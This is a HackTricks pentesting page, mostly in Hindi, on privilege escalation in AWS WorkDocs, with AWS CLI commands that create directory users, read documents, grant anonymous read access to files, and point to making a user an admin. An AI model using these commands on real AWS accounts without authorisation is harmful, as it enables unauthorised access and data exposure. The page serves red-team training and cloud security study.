AWS - WorkDocs Privesc

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

WorkDocs

WorkDocs के बारे में अधिक जानकारी के लिए देखें:

AWS - Directory Services / WorkDocs Enum

workdocs:CreateUser

निर्दिष्ट Directory के अंदर एक user बनाएं, फिर आपको दोनों WorkDocs और AD तक पहुँच मिल जाएगी:

# Create user (created inside the AD)
aws workdocs create-user --username testingasd --given-name testingasd --surname testingasd --password <password> --email-address name@directory.domain --organization-id <directory-id>

workdocs:GetDocument, (workdocs:DescribeActivities)

फ़ाइलों में संवेदनशील जानकारी हो सकती है, उन्हें पढ़ें:

# Get what was created in the directory
aws workdocs describe-activities --organization-id <directory-id>

# Get what each user has created
aws workdocs describe-activities --user-id "S-1-5-21-377..."

# Get file (a url to access with the content will be retreived)
aws workdocs get-document --document-id <doc-id>

workdocs:AddResourcePermissions

यदि आपके पास किसी चीज़ को पढ़ने की अनुमति नहीं है, तो आप बस अनुमति दे सकते हैं।

# Add permission so anyway can see the file
aws workdocs add-resource-permissions --resource-id <id> --principals Id=anonymous,Type=ANONYMOUS,Role=VIEWER
## This will give an id, the file will be acesible in: https://<name>.awsapps.com/workdocs/index.html#/share/document/<id>

workdocs:AddUserToGroup

आप किसी उपयोगकर्ता को ZOCALO_ADMIN ग्रुप में सेट करके admin बना सकते हैं.
इसके लिए इन निर्देशों का पालन करें: https://docs.aws.amazon.com/workdocs/latest/adminguide/manage_set_admin.html

उस उपयोगकर्ता से workdoc में लॉगिन करें और admin पैनल में पहुँचें /workdocs/index.html#/admin

मुझे cli से यह करने का कोई तरीका नहीं मिला।

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें